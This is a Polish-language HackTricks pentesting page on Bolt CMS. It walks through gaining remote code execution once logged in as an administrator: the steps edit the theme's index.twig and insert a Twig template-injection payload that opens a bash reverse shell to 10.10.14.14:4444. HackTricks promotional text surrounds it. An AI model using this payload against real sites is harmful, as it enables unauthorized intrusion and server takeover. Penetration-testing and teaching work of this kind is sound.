Bolt CMS

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

• Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCYJNY!

• Zdobądź oficjalne gadżety PEASS & HackTricks

• Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.

• Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.

RCE

Po zalogowaniu się jako administrator (przejdź do /bot, aby uzyskać dostęp do okna logowania), możesz uzyskać RCE w Bolt CMS:

• Wybierz Konfiguracja -> Wyświetl konfigurację -> Główna konfiguracja lub przejdź do ścieżki URL /bolt/file-edit/config?file=/bolt/config.yaml

• Sprawdź wartość motywu

• Wybierz Zarządzanie plikami -> Wyświetl i edytuj szablony

• Wybierz bazę motywu znalezioną w poprzednim kroku (base-2021 w tym przypadku) i wybierz index.twig

• W moim przypadku jest to w ścieżce URL /bolt/file-edit/themes?file=/base-2021/index.twig

• Ustaw swój payload w tym pliku za pomocą wstrzyknięcia szablonu (Twig), np.: {{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}

• I zapisz zmiany

• Wyczyść pamięć podręczną w Konserwacja -> Wyczyść pamięć podręczną

• Ponownie uzyskaj dostęp do strony jako zwykły użytkownik, a payload powinien zostać wykonany

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

• Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCYJNY!

• Zdobądź oficjalne gadżety PEASS & HackTricks

• Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.

• Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.